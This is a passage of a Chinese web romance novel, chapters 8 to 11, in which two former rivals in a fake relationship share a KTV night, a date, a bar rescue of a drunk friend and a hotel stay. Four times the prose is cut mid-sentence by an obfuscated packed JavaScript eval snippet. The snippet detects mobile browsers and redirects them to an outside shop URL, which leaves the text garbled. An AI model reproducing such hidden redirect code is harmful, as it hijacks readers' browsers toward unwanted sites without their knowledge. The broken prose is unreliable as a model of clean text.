庄樱思索片刻,回:你定时间吧,我这几天都有空。 不远处的VIP包厢里。 洛时屿歪在沙发角落,嘴角含笑地盯着屏幕上那条消息,正打字,旁边有人看不过去,喊他。 “洛老三,给你组的局这么不给面是吧?赶紧滚过来唱一首!” 今天是圈内一帮人专门给他组的接风局,他们这些人里大半都是纨绔子弟,抽烟的抽烟,打牌的打牌,包厢里乌烟瘴气,洛时屿借口要出去放水,打算找个清净的地方回庄樱的消息。 出了包厢,沿着灯光迷离的走廊刚走没多久,他目光一顿,视线凝在了608包厢门口的一对男女身上。 是庄樱和严峥。 庄樱打好辞行的腹稿,正准备推门时,严峥不知什么时候走到了她身后,瘦高的身影笼罩着她。 “阿樱,就算做不成恋人,当朋友,也不行吗?” 8. 第 8 章 庄樱脚步一顿。 包厢里隐约传来歌声和嘈杂的掌声,她脑中思绪纷乱,干脆推开了门。 叶昭正搂着老大在飚英文歌,余光瞥到他们进来,眼睛一亮。 “阿樱和严峥来了,快来点歌!下一首你们唱啊!” 庄樱朝她使了个不赞同的眼神。 她神情是少见的端肃,叶昭有些疑心自己好心办了坏事,把话筒塞给身边的人,赶紧凑了过来,瞧了瞧严峥的脸色,再把庄樱拉到僻静的卫生间。 “怎么了,严峥没跟你说开吗?” 叶昭一直觉得庄樱和严峥分开很可惜,她旁观了两人四年的恋爱,知道庄樱对这段感情有多么用心。尤其是庄樱分手的那段时间,跟丢了魂一样,每天饭都吃不下,觉也睡不好,一个月瘦了十斤,把她心疼得不行。 加上庄樱读研后再也没谈过恋爱,叶昭就自然而然地以为她是忘不了严峥。正好严峥又找上了她,她也乐得帮忙,给两人牵桥搭线。 可事情的发展,似乎没有她预料的那么顺利。 “我跟严铮已经不可能了。” 庄樱严肃而认真地看着叶昭,“昭昭,你不用再撮合我们。” 叶昭神情可惜,“可是你们——” “过去的美好就让它过去吧,我跟严铮不合适,也不可能重新在一起。” 叶昭知道自己劝不动她了,无论如何,她都尊重庄樱的意愿。 “行,那你还留下来唱歌吗?要不我帮你叫个车送你回去?” “我坐一会儿再走吧,咱们宿舍四个人难得聚一下。” 跟叶昭谈完,庄樱面色如常地回了包厢,坐在了昔日的舍友中间。陪着她们唱到尽兴后,她才借口说学校有点事,需要回去一趟。 严峥提出要送她,庄樱拒绝了,他仍固执地跟到了长廊。 “你一个人回去我不放心,我把你送回学校再——” “学委,挺巧啊,又碰面了。” 一个不善的声音响起。 “不知道你在这儿纠缠我女朋友是什么意思?” 听到洛时屿的声音,庄樱脊背一僵,有几分无所适从。毕竟是从小到大的死对头,自己两次难堪的场面都被他碰了个正着,她心底多少有些难以释怀。 正无措间,一只手伸过来,将她的肩膀揽进怀里,后背撞上男人温热的胸膛。 “我女朋友我会送,就不麻烦学委了。” 庄樱瞥了他一眼,心想这家伙入戏还挺快。 严峥见庄樱半点没有反抗的意思,不甘心道:“阿樱,你暂时不想跟我复合没关系。可洛时屿这个人怎么样你是知道的,我希望你不要冲动之下做出错误的选择。” “我这人怎么样?” 洛时屿扯了扯嘴角,目光森冷地盯着严峥,“是杀人放火了,还是违法乱纪了?要不叫警察过来评评理?” 感觉到头顶的呼吸带着酒气,庄樱不自觉缩了缩身体,拽了下洛时屿的手臂。 “别说了,我们走吧。” 目光掠过洛时屿泛红的脸,严峥皱眉道:“阿樱,他喝了酒,又不能开车,还是我——” 他伸向庄樱的手被洛时屿一掌拍开。 “你再碰我女朋友一下试试?!我让你横着从这儿出去!” 洛时屿一双眼睛通红,目光里带着毫不掩饰的厌恶和怒火。 “还有,阿樱这两个字是你能叫的吗,我再听你叫一次打你一次!” 庄樱确信洛时屿是真喝醉了,要不然不会失态到这种程度,这演技堪比影帝上身了。 她安抚地拍了拍他的手臂,沉静的双眸看着严峥,“该说的话我都说完了,互相给对方留点体面吧。再见。” 她没再看严峥的神情,半扶着洛时屿进了电梯。等电梯门合上,她立刻站直身体,推了推身旁紧靠着他的男人。 “喂,你演上瘾了是吧?” 洛时屿一双眼睛被散落的额发遮住,直起身,嘴角带笑地看着他。 “我刚刚的发挥拿个奥斯卡影帝应该不过分吧?” 庄樱无奈一笑,洛时屿跟严峥高中就不对付了,可闹到这种剑拔弩张的地步,还是第一次。刚才气氛紧张得她差点以为洛时屿真要动手。 “好歹是高中同学,你也别太过分了。” “我哪儿过分了?我就吓吓他而已。” 洛时屿嗤笑一声。 从他见到庄樱和严峥出现在包厢门口的那一刻,他就憋了满肚子的火气。叫来服务员一打听,得知叶昭也在后,他就猜到了是她们本科同学聚会,他有气也只得压着,真过去搅局只会扫她的兴。 可心底还是不爽,叶昭攒局还能有什么原因,多半是想撮合庄樱和严峥。这两人都分手快三年了,怎么这帮人一个个跟舍不得这对金童玉女似的,非要把两人再凑到一块? 想到庄樱和严峥一起考上江大,还谈了四年恋爱,洛时屿就难受,又难受又嫉妒。 凭什么严峥能得到庄樱那么多年的喜欢?凭什么他得到了之后又不珍惜,伤透了庄樱的心?又凭什么,站在庄樱身旁的人不能是他? 白兰地一杯接一杯下肚,依然排解不了他心中的苦闷。他在包厢坐立难安,找了个抽烟的借口出来,就那么守在暗处,死死地盯着608的包厢门。 电梯门叮地一声滑开,庄樱率先走了出去,却发现洛时屿迟迟没有跟上,她不解地转头,才发现男人弯腰靠在电梯内壁上,神情带着一丝痛苦。 “怎么了?喝醉了?” 庄樱连忙折返去扶他。 “不是,胃有点不舒服。” 洛时屿酒量不错,几杯白兰地不至于让他醉成什么样。是之前在饭局上那帮损友轮番来敬他,他压根没机会吃东西,后面到了KTV又喝了冰酒,肠胃才出问题的。 庄樱无奈地搀着他出了电梯,“就你这样,还送我回家啊?你能不能走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203064|197278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路都是个问题。” “我送不了,我的司机可以送。” 洛时屿顺势将自己半边身体靠在她肩上,他低头,在庄樱看不见的角度贪婪地嗅了嗅她的发香,手臂也不露痕迹地揽住了庄樱的腰。 庄樱没多想,以为他是没有力气才这么靠着自己。出了大门,一辆黑色的奥迪A8停在路灯下,洛家的司机从车里出来,见自家小少爷虚弱地被一个女孩搀扶着,连忙上前来帮忙。 “你家里车还挺多的,一天换一辆。” 上车后,庄樱没忍住吐槽。 洛时屿脊背靠着座椅,偏头看她一眼,笑:“上次不是某人说我的车太显眼了吗,现在总够低调了吧?” 庄樱:…… 对于洛家而言,一百万不到的车确实很低调了。 “先把她送到江城师大。”洛时屿叮嘱司机。 庄樱坐在他身边,不放心地盯着他苍白的脸,“你不是不舒服吗?要不我先陪你去医院看看?” “小毛病,吃点胃药就好了。” 洛时屿从座椅中间的储物柜里翻出一个药盒,他这几天到处拉投资,免不了在酒局上应酬,应急的肠胃药都会提前备好。 庄樱连忙把饮料台上的矿泉水递给他。 洛时屿吃了两片胃药,苍白的脸终于有了一丝血色。他瞧见庄樱关心的神色,忽然一笑:“难得啊,你什么时候这么关心过我。” 庄樱呵地笑了声,“你什么时候嘴巴能不这么损,我什么时候就多关心你一点。” “嘴毒是天生的,改不了,怎么办?”洛时屿一脸无奈。 “改不了就封起来,少张嘴。” “行,以后听你的。见到你我就当哑巴。” 不知不觉就到了江城师大的正门前,庄樱朝外看了一眼,拿起自己的包,“那我走了。” “嗯,去吧。” 庄樱下了车,没走两步,后方又传来一道声音。 是洛时屿,他胳膊靠在车窗上,神情懒洋洋地睨着她:“明天请我吃饭,怎么样?” 一瞬的怔愣后,庄樱笑了,“行啊,地点你选。” “OK,那我明天发位置给你。回去早点休息,晚安。” “你也是,晚安。” 看着那道纤瘦的背影融入漆黑的夜色中,洛时屿不自觉笑了。他往后靠在真皮的颈椎软枕上,拨拨了个电话出去。 “王伯,家里弄得怎么样了?” 此时,离庄家的别墅仅有一墙之隔的洛家旧宅里,依然灯火通明。 屋里的旧家具全都换过新的,年久失修的地方也全都修缮一新,后院里铺了新草皮,种了蔷薇花苗,管家还贴心在院子里装饰了欢迎回家的标语。 “除了您之前拍下的画还没挂上去,其他地方都弄好了。小少爷,您打算什么时候回来住呢?” “择日不如撞日。” 洛时屿轻轻一笑,“就今晚吧。” 9. 第 9 章 只剩不到一周的时间就要面试,庄樱起来第一件事就是刷结构化的真题。 无生试讲她倒不怎么担心,她之前去一所区重点中学实习过三个月,除了代课以外的时间都在听课和教研,成长得飞快。 正好方梅也在准备老家的面试,两人就在宿舍互相帮对方录试讲视频,再对着视频分析哪个环节衔接不够流畅,哪里的教学设计有问题。大半天一晃就过去了。 “阿樱,晚上去食堂吃吗?” 方梅从阳台收完衣服进来,问她。 “不了,我要出去吃。” 方梅看她面带微笑,忍不住调侃道:“你是不是谈男朋友了?最近感觉你状态都不一样,今晚是出去约会吧?” 庄樱心中一惊,下意识道:“有吗?” 她跟洛时屿只是协议情侣而已,她应该没什么变化吧? “反正我觉得有。”方梅嘿嘿一笑,凑到她面前,捏了捏她脸上吹弹可破的肌肤,“你本来就白,现在是白里透红,比以前有活人感多了。” 庄樱:…… 有活人感,大概是被洛时屿气的吧。 正想着,手机震动起来,是某人的电话。 “大小姐,收拾好了没?” “好了好了,马上下来。” 不理会方梅促狭的眼神,庄樱拿起小包,朝她摆摆手:“我走了,到时候给你带黎记的糕点。” “去吧宝,玩得开心点。” 方梅神情暧昧。 洛时屿还是开的那辆黑色奥迪。 一进去,一股馥郁而热烈的橙花香扑鼻而来,庄樱眨了眨眼,视线掠过洛时屿精心打理的发型,稀奇道:“你喷香水了?” 洛时屿一手握着方向盘,不怎么自在地抓了抓头发,“昨晚不是喝了酒吗,怕你嫌弃有味道。” 庄樱思绪一顿。不知怎的,忽地想起了高二那年,应该是某个晚自习前,洛时屿从外面进来,她那天生理期,闻到他身上带着一股烟味,只觉得格外刺鼻和反感,当下就冷了脸,让他离自己远点。 “我又哪里惹你了?大小姐。” 她捂着隐隐作痛的腹部,苍白着脸瞪他:“你躲去厕所抽烟了?我最讨厌的就是烟味。” “我真没抽,是别人抽了沾我身上的。” “总之你离我远点。” 她换了个姿势,脑袋枕在胳膊上,不打算再搭理他。 身旁响起椅子被拉开的声音,估计是洛时屿起来了。这家伙被她说两句就这么沉不住气,庄樱在心底冷哼。迷迷糊糊地不知睡了多久,她听到班级门口响起说话声。 “洛时屿,这是你第几次迟到了?” 是班主任不悦的嗓音。 “衣服湿了,回宿舍洗个澡。” 某人还是吊儿郎当的语气。 “怎么不干脆泡个澡泡到下课为止?去座位上站十五分钟,好好长长教训。” 庄樱抬起眼,视线迷蒙间看到一个修长的身影走了过来。随即迎面而来是一股淡淡的沐浴露的清香,她正感诧异,腿上忽然一重,有股温热的触感,是那人丢了个什么东西在她腿上。 她定睛一看,竟然是个热水袋。 嘴巴嗫嚅了几下,庄樱想说点什么,身旁的人已经拉开了椅子,弓着腰,翻开一本数学练习册在专注地做题。 庄樱那句谢谢只好咽回了肚子里。 “想什么呢?怎么发起呆来了。” 一只手在她眼前晃了晃。 庄樱倏地回过神,眼前的男人不复少年的青涩,而是多了几分这个年龄特有的锐利和沉稳。 “想到了以前的事。” 庄樱看着车前方,目光有些遥远和感慨,“其实你好像没那么讨人厌。” “现在记起我的好来了?” 洛时屿脸上笑容很淡,“你以前可是从来没把我放在眼里过。” 他语调中夹杂着一丝自嘲的意味,或许还有其东西,庄樱无从分辨。她无意识攥紧了自己的手包,岔开话题道:“你说的餐厅在哪儿?离这儿远不远?” “不远,十来分钟就到了。” 洛时屿带她去的是一家云贵川融合料理餐厅,是最近很热门的网红店,等候区里三层外三层坐满了人。庄樱看到门店里火爆的景象,眼前一黑。 “这得等多久啊?” “放心,号我早拿了,就剩三桌。” 洛时屿找了把折叠椅舒舒服服地坐下,又拍了拍自己身边的空位。 “还愣着干嘛,过来呀。” 等候区的折叠椅设计小巧,一把接一把整齐地挨在一起,庄樱一坐下就碰到了洛时屿的肩膀。 她左边是一对亲热地挤在一起说话的小情侣,没有错身的空间,只能被迫靠着洛时屿的肩头。 “饿不饿,吃点零食?” 洛时屿不知道从哪里拿出一包虾片,举到她面前。 庄樱忽略心底的异样感,摇头道:“不了,一会儿还要吃饭呢。” “你不吃我吃了。” 洛时屿拆开包装,膨化食品的香味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203065|197278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿时溢了出来。庄樱刷了一下午的题,本来就有些饿,现在看到洛时屿吃得津津有味,肚子里的馋虫也被勾了出来。 可她脸皮薄,刚才洛时屿问的时候她都拒绝过了,现在也不好意思再张口。 拿出手机刷了下朋友圈,没看多久,耳边忽地响起一道声音,“张嘴。” 庄樱不解地啊了声,嘴巴刚张开,带着藤椒香味的虾片就塞了进来。意识到是洛时屿喂给她的后,她脸上莫名一窘,飞快往后倾身。 “你……干嘛。" 因为嘴里咬着虾片,所以她说这句话时语调含糊不清,一边腮帮子鼓着,一副受到惊吓的表情。 洛时屿被她逗笑了,一双桃花眼弯了弯,“我这不是看你挺想吃的,所以给你试试。” “你哪只眼睛看出来我想吃的。” 庄樱的脸颊瞬间红透了。 洛时屿忍住往那白里透红的肌肤上掐一把的冲动,笑道,“我看你余光瞄了它好几眼,所以猜你想吃。” 这家伙是她肚子里的蛔虫吗,怎么能细心到这种恐怖的程度。 庄樱将头偏向一边,不自在道:“那你好歹提前打个招呼,突然这么——” “突然怎么?” 周围人声喧闹,洛时屿没听明白庄樱嘴里叽里咕噜地在小声说什么。 庄樱清了下嗓子,坐直身体道:“没什么,我是纳闷你怎么选了这么一家店,一看就是吃漂亮饭的,不像男生的审美。” “这家店在网上不是挺火嘛,都是女生来打卡,我估计你也会喜欢,就选了这儿。” 庄樱略微有些诧异,“我请你吃饭你选我可能喜欢的?” “我随便吃什么都行,不能委屈我的女朋友。” 对上那双含笑的黑眸,庄樱心中一动,还没想好怎么回应,洛时屿先起了身,“到我们了,进去吧。” 这家餐厅的装潢以沉郁的原木色为主,辅以各种热带绿植作为点缀,让人有种误入原始丛林的清幽感。 虽然是网红餐厅,但他们点的几个招牌菜味道都不错,除了口味有点重外,挑不出别的毛病。 “吃完饭你想去哪儿?” 喝了口刺梨水,洛时屿问。 “嗯……应该去附近的商场逛逛吧,我答应了室友给她带点心。” 庄樱咽下嘴里的鲈鱼肉,抬眼看对面的人,“你要是有别的事——” “我没其他事。” 洛时屿干脆利落地截住她的话头。 “今晚,我任你差遣。” 10. 第 10 章 庄樱对上他在灯光下异常明亮的双眸,一时有些怔然。 他说话的语气,就好像他们真是男女朋友似的…… “行啊,这可是你说的。” 庄樱手里的筷子无意识在碗里戳了戳,“那待会儿你可得帮我提东西。” “没问题。” 桌上的菜吃得差不多,庄樱最后喝了口柠檬水,起身去前台结账,却被告知他们这桌已经买过单了。 庄樱第一件事就是转头去看身后的男人。 “洛时屿。”她有些无奈,“不是说好我请的吗?” 洛时屿一手插在兜里,笑容散漫。 “让你排了这么久队,还是我请吧,下次你再请回来也不迟。” 庄樱拿他没办法,走出餐厅后,正色道:“待会儿我买的东西,我自己付钱,听到没有?” “听到了。我只负责提,放心吧。” 出了餐厅,庄樱先去附近的商场逛了一圈,给方梅带了黎记的糕点和巧克力,又去无印良品买了些日用品和文具。 洛时屿跟在她身后,一言不发地帮她拎包,提购物袋,尽职尽责得像一个服务型机器人。 把东西放回车上,庄樱本来想提议去湖边走走,手机铃声却在这时响了起来。 是叶昭的来电。 瞥了眼洛时屿后,庄樱接起,叶昭大概是在酒吧,背景声很嘈杂,伴随着震耳欲聋的乐声和鼓点声。 “阿樱……你来陪我喝酒……好不好……” 叶昭估计是喝醉了,说话时口齿不清。 庄樱有些担忧道:“你喝多少了?一个人在酒吧吗?” “你说什么?我酒量好得很……还有,我当然是一个人……那个该死的楚昀……都怪他……” 听到叶昭提起前男友的名字,庄樱就猜到她又借酒浇愁去了。她在电话里安抚了叶昭几句,让她把酒吧位置发过来,说自己会立刻赶过去。 挂了电话,她还没张嘴,洛时屿先道:“要去接谁?叶昭?” 庄樱微微蹙眉,“嗯,她一个人在酒吧,我担心她喝多了酒不安全。” “她家里那群保镖呢?吃素的?” 叶家是做房地产起家的,财力虽然比不上洛家,但也属于江城的豪门世家之一。只是叶家家族庞大,派系斗争复杂。叶昭的父亲跟母亲是政治联姻,两人没多少感情,只有叶昭这么一个独女。 “她不可能去哪儿都带保镖呀,总之我们赶紧先去接她吧。” 洛时屿轻哼一声,不怎么乐意道:“要是你一个人,也要去找她?” 庄樱不解,“我一个人不行吗?” “大晚上的,酒吧那种地方鱼龙混杂,你一个女孩子跑过去有多危险不知道?” 庄樱忍不住笑了,“我有分寸的,不会做不自量力的事。而且现在是法治社会,酒吧没你想的那么乱,你上次不是也去了么?” 洛时屿:…… 怎么这回旋镖突然扎到他自己身上了? 他不自在地轻咳一声,败下阵来似的,替她打开副驾驶车门,“走吧,大小姐。” 大概是怕她担心,洛时屿这一路开得飞快,原定半个小时的路程,他二十分钟就开到了。 趁洛时屿停车的功夫,庄樱先下了车,去酒吧里找叶昭。一进去,喧闹的摇滚乐声扑面而来,庄樱穿过舞池里扭动的人群,费了一番功夫才在角落的吧台里找到叶昭。 女孩穿着吊带背心,牛仔短裤,姣好的身材显露无疑,手里握着一杯喝了大半的鸡尾酒,歪在吧台上轻轻哼歌。旁边有个男人坐得离她很近,似乎是在搭讪。 庄樱加快脚步走过去,扶住叶昭的胳膊,“昭昭,别喝了,我们走吧。” 叶昭看到是庄樱,眼睛一下亮起来,“阿樱,你可算来了,不准走!快陪我再喝两杯!” “我请你们喝吧。” 一旁穿了身潮牌的年轻男人开口,他早就盯上叶昭了,这种孤身一人买醉的美女最好下手。看叶昭喝得差不多后,他就找了个机会过来搭讪,没想到来了个不速之客。 不过看清庄樱的脸后,他心头的不悦顿时变成了惊喜。 又来一个清纯挂的美女,他今晚运气也太好了。 “不用了,我们还有事。” 庄樱神情冷冷地瞥了那人一眼,走到中间,隔开他和叶昭。 “小美女,脾气这么大啊。” 被庄樱拒绝,男人也不恼,反倒越发来了兴致。他见庄樱所有注意力都在叶昭身上,便试探着想去碰她的胳膊,然而手刚伸过去,一股钻心的痛楚猛地袭来。 “啊!” 伴随着一声凄惨的嚎叫,男人手臂弯折,满脸痛苦地从高脚椅上跌了下来。 庄樱被这声惨叫吓了一跳,扭过头,才发现洛时屿不知什么时候站在了她们身后。 灯光迷离,他俊美的面容在晦暗的光影中显出少有的冷峻,低头,踩在地上的男人已经脱臼的胳膊上,“把你的脏手拿开点。” 他动作狠厉,语气却是平静的,一丝起伏都没有。 “你什么时候来的?” 庄樱心有余悸道。她是聪明人,一看这场面就反应过来那个男的刚才绝对是想对她动手动脚。 “刚到。这就是你说的没那么乱的酒吧?” 庄樱:…… 这家伙到这种时候都没忘记要呛她两句吗! 她岔开话题,指了指地上的人,“那他怎么办?” 洛时屿眯了眯眼,叫来经理,简单交代一番后,两个保安进来把地上哀嚎的男人拖走了。 “三少,真是不好意思,给您和您的朋友们添麻烦了。” 经理全程毕恭毕敬,“这个人我们来处理就行,后续不用您操心。” 洛时屿微微颔首。 趴在吧台上的叶昭被这场变故也吓得清醒了几分,抬头,发现迷蒙的视野里出现一个有些熟悉的身影后,顿时卧槽了一声。 “阿樱,洛时屿怎么会在这里?你们俩…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203066|197278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …一起来的?” 庄樱肩膀一僵,惊觉自己竟然忘了跟洛时屿的关系还见不得人这件事。她正发愁该怎么跟叶昭介绍时,洛时屿先开了口。 “我顺路送她一趟。” “顺路?” 叶昭显然没搞明白他是顺哪门子的路,她看向庄樱,想从多年好友的脸上看出一些端倪,却发现庄樱的神色竟有些躲闪。 “昭昭,先不说这个,我送你回去吧。” 庄樱只想赶紧带着叶昭离开这个是非之地。 叶昭的目光在两人之间来回游移,想多问两句,庄樱已经架起了她的胳膊,不容置疑地搀着她往外走。 “我包,我包还没拿呢。”叶昭往后看。 “拿了。” 洛时屿晃了晃手里的包。 他帮着庄樱把叶昭扶到了后座上,再去驾驶位开车。 开了车灯,庄樱才发现叶昭的脸红得厉害,满身都是酒味,她拿湿纸巾帮叶昭擦了擦脸,又把她散落的鬓发拂到一边。 “你傻啊,一个人跑去酒吧喝酒,出事了怎么办。” 听到庄樱关怀的语调,感受着她温柔的动作,叶昭的眼睛不自觉红了,她抱住庄樱的腰,将满腹的委屈倾泻了出来。 “阿樱,你知不知道,楚昀谈新女朋友了……我们分手才不到一个月,他竟然这么快就谈新女友,我要气死了……该死的渣男!” 她咬牙切齿,语调里满是愤恨和不甘,眼泪鼻涕都糊在庄樱衣服上。洛时屿在前面开车,不免担忧地往后投来一眼。 庄樱跟他对了个放心的眼神。 叶昭和楚昀这么多年分分合合的,她早就习惯了。她也没打算宽慰叶昭,直接道:“他找一个你也找一个不就行了,以你的条件,要什么样的找不到。” “你……你说得对,我也去找一个。” 叶昭靠在她怀里,满脸通红,眼睛里也带着水汽,“我要找一个比他更帅,更有钱的……不止,还要活更——” 庄樱眉心一跳,连忙捂住她的嘴。 这家伙怎么喝醉了什么都往外说。 “唔……唔阿樱——” 庄樱怕叶昭又说些什么破尺度的话,手捂着她的嘴不敢放开,直到手心一热,她低头一看,才发现是叶昭吐了她一身。 “叶昭!” 庄樱气得脸都绿了。 洛时屿嘴角抽了抽,迅速将车内的空调内循环开到最大。 “没事吧,要不我停车让你先处理一下?” “不用,叶家快到了,先把叶昭送回去,不然她还要吐。” 庄樱提前打过电话,叶家的保姆早就在门口等了。她把人交给保姆后,简单用湿纸巾清理了一下自己的衣服。 一看表,已经十一点多了。 “完了。” 庄樱一头两个大,“已经过了宿舍门禁了。” “那怎么办?” 洛时屿转头看她。 “要不,我们出去开个房?” 11. 第 11 章 车厢里有一瞬的沉默。 洛时屿正想说点什么话找补一下,却见庄樱神情严肃地点了点头。 “只能这样了。” “去江大附近……还是哪里?” 洛时屿压下脑中不合时宜的绮念,神情努力维持着平静。 “江大有点远,就在这附近找一个酒店吧。” 庄樱握着门把手,低头看了眼地垫上的污渍,不太好意思道:“你的车如果要洗的话——” “这个你不用管,小事。” 洛时屿边说话,边用手机导航最近的一家四星酒店。不远,离这儿也就十来分钟车程。 去酒店的路上,两人都没有说话。 还是庄樱先忍不了这令人难捱的寂静,主动找话题道:“你送我回去再回家,会不会太晚了?” 洛时屿轻咳了一声,“这个点回家容易把老爷子吵醒,我也住酒店吧。” 庄樱哦了一声,顺势问:“洛爷爷最近身体怎么样?还好吗?” 自从洛家从龙湾城搬走,两家人不再当邻居后,庄家和洛家的人情往来也少了很多。上一次庄樱见到洛家的老爷子,还是去年的事。她依稀记得老爷子的身体挺康健,院子里大半花草都是他亲自侍弄的。 “能吃能睡,好得很。” 洛时屿拐了个弯,视线从后视镜里掠过庄樱的脸,“除了成天催着我找个孙媳妇外,没其他毛病。” 庄樱的目光在后视镜里跟他相撞,一时有种引火烧身的错觉。她脸颊莫名有些发热,错开话题道:“身体好就行。洛伯父和洛伯母呢?” 车子停在红灯前,洛时屿瞥她一眼,“这么关心我家里人,要不改天我领你上门去看看?” 庄樱:…… 她跟这人果然是话不投机半句多。 到了酒店停车场,两人一起下车。走进大堂时,庄樱忽然想到什么,轻啊了一声,神情有些懊恼。 “我没带换洗的衣服。” “你穿多大码?我帮你去买。” “应该中码就行……” 庄樱低头看了眼上衣下摆和裤子上的污渍,颇感头疼,“算了,这么晚商场的服装店应该都打烊了,而且你也不知道我喜欢穿什么样的。” 最重要的是,她对洛时屿的直男审美并不放心。 “买几件衣服而已,你先上去洗,我等会儿让人送过来。” 庄樱面露犹豫。 洛时屿看她还是不放心的样子,忍不住笑了,“我让导购按你的尺码帮你挑,行了吧?” 庄樱点点头,道了声谢后,先去前台办入住。她订了间带早餐的大床房,刚付完钱,洛时屿也走了过来,将信用卡递给前台。 “我订她旁边那间。” 前台好奇地看了眼面前的帅哥,她有些摸不透这两人的关系,看着像情侣吧,又好像比普通的情侣要生疏。说不像吧,这两人站一起又这么登对。 她在电脑上查了一下剩余的房间,遗憾道:“先生不好意思,这位小姐住的617旁边没有空房间。” “那同楼层离她最近的房间总有吧?” “有的,620没有人住,不过是个标间,您介意吗?” “能睡就行,订一间吧。” 前台隐约投来的探究目光让庄樱有些尴尬,她站得离洛时屿远了些,等那人拿到房卡,立刻迫不及待地转身往电梯走。 到了电梯口,洛时屿大步追了上来。 “跑什么,也不等我一下。” 洛时屿及时按住即将关闭的电梯门。 庄樱不自在地往后退了退,“我们在这儿,万一被熟人看到怎么办。” 她越退,洛时屿逗弄她的心思反而越强烈。他迈开长腿,一手撑住电梯的金属墙壁,将庄樱逼到角落。 他低头,高大的身躯像一片阴影覆盖在庄樱头顶。 “看到又怎么样,我们本来就是情侣,出来开个房怎么了?” 庄樱不自在地推了推他胳膊,纠正道:“是假情侣,协议情侣。” “庄樱,你跟我这么疏远,我们俩连演假情侣都不像。”洛时屿低头,黑眸深深地看进她明亮澄澈的眼睛里。 “既然是演戏,就要演得逼真一点。” 庄樱无处可退,整个后背都贴在微凉的金属墙壁上,她眼睫颤了颤,语调不稳道:“洛时屿,这可是在电梯里,你不要乱来。” “我只是提个建议。反正那天晚上……你也不排斥我,对吗?” 他语调越来越低,最后一句话几乎是靠在庄樱耳边说的。 温热的呼吸洒在庄樱的耳廓上,她白皙的脸颊早就红透,双手手掌紧紧按住金属扶手杆,眼睫剧烈颤抖。 “你瞎说什么,我……我那天晚上是喝醉了,根本没认出来你是谁。” 洛时屿呵地笑了一声,目不转睛地盯着她:“没认出来我,但想睡我,对吧?” 救命,她根本不想再次回忆那天晚上的心路历程好吗!是现在回想起来脚趾都要抠出一座城堡的程度! “你别污蔑我,我又没对你做什么过分的事……”庄樱的脸红得几乎滴血,整个人更是羞耻到快要冒烟的程度。 万幸的是,滴地一声响,电梯门在此时开了。她趁洛时屿分神,推开他肩膀,快步逃了出去。 “走反了。” 洛时屿慢悠悠地跟在她后面。 庄樱看了眼标识牌,立刻转身往另一侧走。拿卡,刷房门,推门的动作一气呵成。像是生怕洛时屿再跟上来似的,庄樱飞快地带上门。 靠在门口,剧烈的心跳仍然没有平复。手机却在这时震了一下。 洛时屿:忘了问你,内衣要不要新的?需要的话你穿什么码? 庄樱看到那条消息简直眼前发黑。 她咬牙切齿地回复:不用了。谢谢。 洛时屿:行。你先洗澡,洗完告诉我,我把衣服给你送过来。 庄樱没回他,把手机丢在一边,进了浴室。 她这个澡洗了半个多小时,出来的时候都有些缺氧。她把湿发用毛巾包起来,裹着浴巾去了房间。 拿起手机一看,全都是洛时屿发来的消息。 二十分钟前。 【衣服到了,你洗完没?】 十分钟前。 【不会在浴缸里睡着了吧?】 五分钟前。 【生我气了?怎么不说话?】 后面还跟着两个未接的语音。 庄樱心头一惊,刚想回复,洛时屿的语音电话又打了过来,她连忙点开接听。 “我刚在洗澡,不是故意不接你的语音。” 她第一时间解释。 “你这个澡洗得可真够久的,我都怀疑你晕在里面了。” 洛时屿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203067|197278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音带着一丝调笑,下一刻,他又懒散道:“开门,拿快递。” 庄樱下意识走到全身镜前看了看自己的模样,纤细的身躯裹在不合身的宽大浴袍里,被毛巾包住的湿发还在往下滴水。因为摘了隐形眼镜,一双眼睛习惯性地眯起。 这副样子,总觉得有些难以见人。 “额……能不能等一下,我头发还是湿的。” “怎么,还要画个全妆出来见我?” 被洛时屿这么一调侃,庄樱顿时没了收拾自己的心思。她冷哼一声,大步走到房门前,按下门把手。 